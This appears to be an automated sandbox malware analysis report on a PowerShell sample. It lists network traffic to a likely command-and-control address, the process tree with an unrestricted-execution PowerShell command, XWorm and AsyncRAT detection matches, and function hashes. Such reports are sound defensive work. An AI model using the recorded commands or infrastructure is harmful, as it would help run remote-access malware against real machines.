Dec 18, 2024 08:17:59.894196987 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.894273043 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:59.967978954 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.013843060 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.013906002 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:18:00.133465052 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.158962965 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.324750900 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.330018997 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:18:00.350049973 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.515878916 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:00.516988993 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:18:05.990967989 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:18:06.152781010 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:06.154048920 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:18:06.273605108 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:18:07.624911070 CET	49708	4411	192.168.2.8	92.255.57.155

Target ID:	0
Start time:	02:15:20
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:15:20
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:15:23
Start date:	18/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff776840000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:15:23
Start date:	18/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x970000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:15:23
Start date:	18/12/2024
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5968" "2404" "2616" "2496" "0" "0" "2348" "0" "0" "0" "0" "0"
Imagebase:	0x7ff61d450000
File size:	229'728 bytes
MD5 hash:	74A0194782E039ACE1F7349544DC1CF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:17:58
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 1876
Imagebase:	0xdb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFB4B06E42A Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9343235437f5b05bfb1ed79c23c98cc5cab9bb8260a34a61582e113805a0ba30
Instruction ID: 0e5641f5a97ee6e1ca898bc42ece0575d051063a7f52967143ae173490fb9857
Opcode Fuzzy Hash: 9343235437f5b05bfb1ed79c23c98cc5cab9bb8260a34a61582e113805a0ba30
Instruction Fuzzy Hash: 457134B1D0C60A8FE728AF3CC9411ED77E1EB98301F00467ED54AD73A6EE3859458B80

Function 00007FFB4B13149A Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698976422.00007FFB4B130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e29ab404c7148dcb54eec93a6e37a86cd7d0ec0220ce412cff220d71b32ca92
Instruction ID: 571858506f57f356304ce74fe97288725822942cdb9045a78a1066ae3685c4a9
Opcode Fuzzy Hash: 2e29ab404c7148dcb54eec93a6e37a86cd7d0ec0220ce412cff220d71b32ca92
Instruction Fuzzy Hash: 55215A73B1C9294FFBA1AA7CE4162F8B3C1EF89220B0851B7D54EC31A2ED18D82547C0

Function 00007FFB4B06584A Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969a1a37aa2a3d33d3682c42f600bb754074c05399b6e97b293fba8151797ed2
Instruction ID: 766ec933803b8bd467d45371256d16e3838756291bd61d2bae05db72919ec07d
Opcode Fuzzy Hash: 969a1a37aa2a3d33d3682c42f600bb754074c05399b6e97b293fba8151797ed2
Instruction Fuzzy Hash: 091127A192CB895FE34CEB3CC49A4787BE1EF55241F0095BED189C72A2DD28D4028752

Function 00007FFB4B0658B9 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f925afc12ec114d599dfd5cc0fade4a3fd2573b2b3cf9ccc3ddb20610aa80d
Instruction ID: 8cd28f90b10ee8469e9537e99382e76ae790926ebc091f278f0002e7587aed94
Opcode Fuzzy Hash: a5f925afc12ec114d599dfd5cc0fade4a3fd2573b2b3cf9ccc3ddb20610aa80d
Instruction Fuzzy Hash: 6A1106A1A2CB891FE34CFB3CC05657C76D2EF99240B0094BEE089C32A3DD2898028752

Function 00007FFB4B06E000 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaad2afb703781fe5ef9a7f09fb04cf957a83bcab7be99416e6cb2a55abe9021
Instruction ID: 21f7fceaf4b88212827b7616b99d2cb88af37e6935582fe575932506796110a5
Opcode Fuzzy Hash: eaad2afb703781fe5ef9a7f09fb04cf957a83bcab7be99416e6cb2a55abe9021
Instruction Fuzzy Hash: F8012970A1CA494FE694FF3CC5592BAB2D1EF98302F50497EE94AC33B1DE6968818740

Function 00007FFB4B0637B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 3ba2237e2420ca9a756c9589bd96a5d5cc010e243e56cc03807f5998e0cadb4a
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: DE01A77010CB0C8FDB48EF0CE051AA6B3E0FB85320F10056DE58AC3661D632E882CB45

Function 00007FFB4B1314C1 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698976422.00007FFB4B130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a969aeae94d6532d112372b3ed32bec73e9647ced74a9a037dd76a3c8eed7be
Instruction ID: 40e31298ec6a851a1bd5e96563e4e123d08b8f34aea85f504ebe8bc8b41a0187
Opcode Fuzzy Hash: 5a969aeae94d6532d112372b3ed32bec73e9647ced74a9a037dd76a3c8eed7be
Instruction Fuzzy Hash: 73F027A3F2D9290EF7E5AAAC741B1F856C1DF9A52074852B7D94EC3252FC189C3603C0

Function 00007FFB4B064CD1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2665f9dc6837db9ccf4dddd278245b0af311693f6dd907fbbb64c8da830607
Instruction ID: 7472c66fde53e3c47eec6fbea32e51088af6c021e39e817fe0e6397bfadc6a57
Opcode Fuzzy Hash: 3c2665f9dc6837db9ccf4dddd278245b0af311693f6dd907fbbb64c8da830607
Instruction Fuzzy Hash: 80F0DA75D1820B8FDB40EFA8C5815EEB7F0EF45311F148969D115EB354D638A6408B94

Function 00007FFB4B068AAE Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1698510269.00007FFB4B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f819592b754329755a513f0172eab2dd6b9e8eb58747ef82e6f3568c6342f5
Instruction ID: e3800eb965f5b8179e6c190c988bb25574308181b473a339eab4501ef5b244cf
Opcode Fuzzy Hash: 34f819592b754329755a513f0172eab2dd6b9e8eb58747ef82e6f3568c6342f5
Instruction Fuzzy Hash: 89D02270D1C3809FEB2C3AB88A030763315EB06A05720B0BFC28783173DC3880838A80

Analysis Process: RegSvcs.exePID: 1056, Parent PID: 5968COMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30.2%
Total number of Nodes:	43
Total number of Limit Nodes:	10

Executed Functions

Function 05607534 Relevance: 3.5, Strings: 2, Instructions: 1021
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ykk., xrefs: 056086E0
%a, xrefs: 056086ED

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID: ykk.$%a
API String ID: 0-2664548475
Opcode ID: 4ce50f01cd91f21d43f30bd9b7f446db347a1d72ab6da776b971cbf5d6706e6e
Instruction ID: 466b67d4ec90a2bedfe18c766e98f7391fef54aa275f33a4f7d8f3cabd491d49
Opcode Fuzzy Hash: 4ce50f01cd91f21d43f30bd9b7f446db347a1d72ab6da776b971cbf5d6706e6e
Instruction Fuzzy Hash: 99326D74A05215CFEB68EF24D994BAAB773BB89300F1080E9D50AAB395DF319D81CF51

Function 02BFBF08 Relevance: 1.5, Strings: 1, Instructions: 281
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\VNn, xrefs: 02BFC1BF

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID: \VNn
API String ID: 0-207492048
Opcode ID: b064e8860f7ee304aee942bb2e3267206dbfe48b374f7c709fc7f5c2eec1b92f
Instruction ID: 480f0d3ac295f5b4fdd5fba77fe30ac08b6db38cca6476f568f57a2a1f0cc51d
Opcode Fuzzy Hash: b064e8860f7ee304aee942bb2e3267206dbfe48b374f7c709fc7f5c2eec1b92f
Instruction Fuzzy Hash: 7CB16C70E0020D8FDB54DFA9C8857DEBBF2EF88704F14816AD915A7294EB759889CF81

Function 05602DE8 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e847b605432b5d2126e6cb527f0b6447badaa4c852bd021debc44210a381af
Instruction ID: 3fc4b5e4b68e9e067a45b415e7efa94c760b1353af1d0ebb144038f0cae9fdc3
Opcode Fuzzy Hash: 68e847b605432b5d2126e6cb527f0b6447badaa4c852bd021debc44210a381af
Instruction Fuzzy Hash: CF126B70B002199FDB18DF69C854BAEBBB6FF88705F108569E416EB391DB319D42CB90

Function 05603410 Relevance: .4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2de23841496a8ae08ce23a12fdf9c5d54741430eb6ef1b0b72ee27bf909ebdd6
Instruction ID: c1444cbe826d3bd7df4669700ec2ac3c3d6c1c75105edaf2826554aa2032d36f
Opcode Fuzzy Hash: 2de23841496a8ae08ce23a12fdf9c5d54741430eb6ef1b0b72ee27bf909ebdd6
Instruction Fuzzy Hash: 1A025070B04109DFCB58CF69C984AAEBBB2FF88302F159969E815AB3A1D731DD41CB50

Function 02BFF288 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de59dc2fa3b2eb05eecf6ac0c07d7a2667daabb069cc1f96dab960fa1454b35
Instruction ID: 07b78dd5fde6b457be7ba0b8e1cc0de36edc19f40960a206a941887ed3068bf7
Opcode Fuzzy Hash: 9de59dc2fa3b2eb05eecf6ac0c07d7a2667daabb069cc1f96dab960fa1454b35
Instruction Fuzzy Hash: 47C1C930A00219DBDF6C4F7598142BDBAB2FFC8750F28C569D942B66D8CF348885EB65

Function 02BFC7D8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e539d93f98ba64e99bf7f7bdd3ba17b983344a9da5d44d4758d07f4fe70ad31b
Instruction ID: f13f7ea02b015e7084c6cb697ff7abf2b1bd08de85c2ae6d0ea1f555600f8b97
Opcode Fuzzy Hash: e539d93f98ba64e99bf7f7bdd3ba17b983344a9da5d44d4758d07f4fe70ad31b
Instruction Fuzzy Hash: 08B14C70E0020D8FDB54CFA9C8857ADBFF2EF88714F14856AD915E7294EB749889CB81

Function 02BF1B88 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5133bb809b45675f3258da868b3318dcbb66dce7e4e7c815540c60be5ebd7cb2
Instruction ID: d1b59fb865bf6efa83023ecfe73a7095eec254746e027cdb2f805d775b8a7314
Opcode Fuzzy Hash: 5133bb809b45675f3258da868b3318dcbb66dce7e4e7c815540c60be5ebd7cb2
Instruction Fuzzy Hash: 81B167B2A14245CFC389CF28C0E0559BFB2FF9531076688E6CA469F291D734EC5ACB50

Function 02BF22E8 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a1a7306ed3dd3c0b28cafe88596a0cac547ceb93739327c0f48ef1f9e625e8
Instruction ID: 259546fd8a6c8ff5a2d0833099cb176f975a48a4e07dc9c2694b12bf35635901
Opcode Fuzzy Hash: 07a1a7306ed3dd3c0b28cafe88596a0cac547ceb93739327c0f48ef1f9e625e8
Instruction Fuzzy Hash: 08A121B1A14301CFC388CF28C8E0919BBB5FB9130475684A6DE16DB2A1C334EC59CB91

Function 02BF085F Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad601ad5ebf4993cfe12050ffd21629eb3c2822da3f36e6963ad324a4cff037c
Instruction ID: 83988d95ee7fb9f74a1dfe16bc64315d7e1c8f79932a10b6c36041e5ac03c577
Opcode Fuzzy Hash: ad601ad5ebf4993cfe12050ffd21629eb3c2822da3f36e6963ad324a4cff037c
Instruction Fuzzy Hash: D2A13571A1424ACFC748DFA8C4906AEFBF2FF94300F1589AAD555AB396D7309C16CB81

Function 02BF1B08 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cdb55875a47c451b64dd3d92a6b7f85b02f7b0b0bb994d9396baa5ff94a6948
Instruction ID: e52edc283ae6c46801971c419ef5f0bef38311d0045679e8b897479c4cc1655e
Opcode Fuzzy Hash: 6cdb55875a47c451b64dd3d92a6b7f85b02f7b0b0bb994d9396baa5ff94a6948
Instruction Fuzzy Hash: D1A136B2A14245CFC389CF28C4E0959BFB2FF9531076A8496CA569F391D334ED5ACB50

Function 02BF1EB6 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35812f6e801d3166926d26c02fcc4e7efc7ed7268ac308fcf08bd6fb97197257
Instruction ID: efe709a2f0bd364bc3523a8627d835a75025c1d95c0f8399f477776459c4faa8
Opcode Fuzzy Hash: 35812f6e801d3166926d26c02fcc4e7efc7ed7268ac308fcf08bd6fb97197257
Instruction Fuzzy Hash: FBA146B6A04245CFC389CF28C0E0959BFB2FF953147668496CE569F691D334EC5ACB50

Function 02BF1DA1 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc4748743d0423d3f3ad33c87575f617144b089f74aeb3f7ea7d558d0b11bfe
Instruction ID: b583f7ef1b56e96a1c89ff80fb42c36b6105b4c8412a4d4407fd1c2434c06e5e
Opcode Fuzzy Hash: 4cc4748743d0423d3f3ad33c87575f617144b089f74aeb3f7ea7d558d0b11bfe
Instruction Fuzzy Hash: 44A136B6A04245CFC389CF28C0E0959BFB2FF963107A68496CE569F291D334EC5ACB50

Function 02BF204F Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae587241d792cc4cae497c3001f96524ad93b22650e5c702c58d3943a7a855d8
Instruction ID: 2a0e5aef5fee4683bb6d43937601dbf45b5c4d2ba0e59c3806e5929d365e6bcd
Opcode Fuzzy Hash: ae587241d792cc4cae497c3001f96524ad93b22650e5c702c58d3943a7a855d8
Instruction Fuzzy Hash: BFA135B6A042458FC389CF28C0E4959BFB1FF9631476685D6CE569F292C334E85ACB50

Function 02BF218C Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1bba75218ebca22a925215b36d1c9a10b79c1eac6c0cfd257e4a1e9f2f91b76
Instruction ID: 151ecc418b61c7f26e88e9ec15bb443517a142f4a54d04107bdb6a84f6985fe0
Opcode Fuzzy Hash: b1bba75218ebca22a925215b36d1c9a10b79c1eac6c0cfd257e4a1e9f2f91b76
Instruction Fuzzy Hash: 73A145B6A04245CFC389CF28C0E4959BFB1FF953107A68496CE569F292C334EC9ACB50

Function 02BF1F16 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ed5a77eacba2691b00069207fa64196b3e193f7952e9a33f2e46114d8e541d
Instruction ID: 05e28ed284e49da6207c83ef9bb13e00f07ecad8b789f14295bcfe2ef8f7d3ca
Opcode Fuzzy Hash: 72ed5a77eacba2691b00069207fa64196b3e193f7952e9a33f2e46114d8e541d
Instruction Fuzzy Hash: B7A134B6A04245CFC389CF28C0E4959BFB1FF953147A68496CE569F692C334EC9ACB50

Function 02BF211A Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62cd81ea33465d9ef5d18fd12d566217c700e859d9083fe3c21250ac7f467eef
Instruction ID: fb2deefe5ee0c0faced80c164369cb563bd87957090cf298fbcc8cd5b10daa55
Opcode Fuzzy Hash: 62cd81ea33465d9ef5d18fd12d566217c700e859d9083fe3c21250ac7f467eef
Instruction Fuzzy Hash: 42A146B6A04245CFC389CF28C0E4959BFB2FF953147A68496CE569F692C334EC5ACB50

Function 056028D8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02e4eb31ecb916441776c1f204a3293164004d762022fa24ad1bccebd9c37db3
Instruction ID: 9da3928ec006da3f31067a7b96c5992645004929581ee74cdf933e645aa3da1c
Opcode Fuzzy Hash: 02e4eb31ecb916441776c1f204a3293164004d762022fa24ad1bccebd9c37db3
Instruction Fuzzy Hash: 00817D38B041158FDB1CDF69C8ACA6BB7B2FF88214B549169D806E77A4DB31E841CB90

Function 02BFF741 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0df3ab25346d74745b64bac3a4136cfc46ccd02cf5ac4eba4adb473bb177ec8
Instruction ID: 66ad871fc15b6c9b92d58e4622175c4afc7307838fd7472e54bfb03bc2dcae0f
Opcode Fuzzy Hash: b0df3ab25346d74745b64bac3a4136cfc46ccd02cf5ac4eba4adb473bb177ec8
Instruction Fuzzy Hash: 4C71D130B10205DBDB989B78945477E76B7EBC8344F2484AAE612EBB94DB70DC09CB91

Function 02BFF750 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e0ad1b2996df14946994f96b312db53de0c75277e4ae648be630dea69a670e
Instruction ID: 9aadd9d0fec5f523f10d238d8004549c7efc086a4ee3656fc5f84d7acc620d67
Opcode Fuzzy Hash: 19e0ad1b2996df14946994f96b312db53de0c75277e4ae648be630dea69a670e
Instruction Fuzzy Hash: AA71E230B10205DBDB989B78945477E76B7EBC4344F2484AAEB02EB794DB70DC09CB91

Function 02BFFB02 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e18d68518349fc2f2ba8e2fdb1b394c2d68a1586193e2d25d206cf9bb1a6872
Instruction ID: ea30a84320acd060e6494e39fc90f14292cd3f3b590bde34ce8852e0bc49a2fe
Opcode Fuzzy Hash: 4e18d68518349fc2f2ba8e2fdb1b394c2d68a1586193e2d25d206cf9bb1a6872
Instruction Fuzzy Hash: 2E71F576B002049FD788CB79C854B6E7BF6AB88710F1485AAE606EB7D0DB70DC05CB80

Function 02BF813B Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45d3d0cdedfc009bd6ba88b2bdff1aa02c88327814246860d0121fd665ea215d
Instruction ID: 6b4071cdbbdfd244a7983f5ae0351af29ed7ed000ce66ed7b776f887578df8f4
Opcode Fuzzy Hash: 45d3d0cdedfc009bd6ba88b2bdff1aa02c88327814246860d0121fd665ea215d
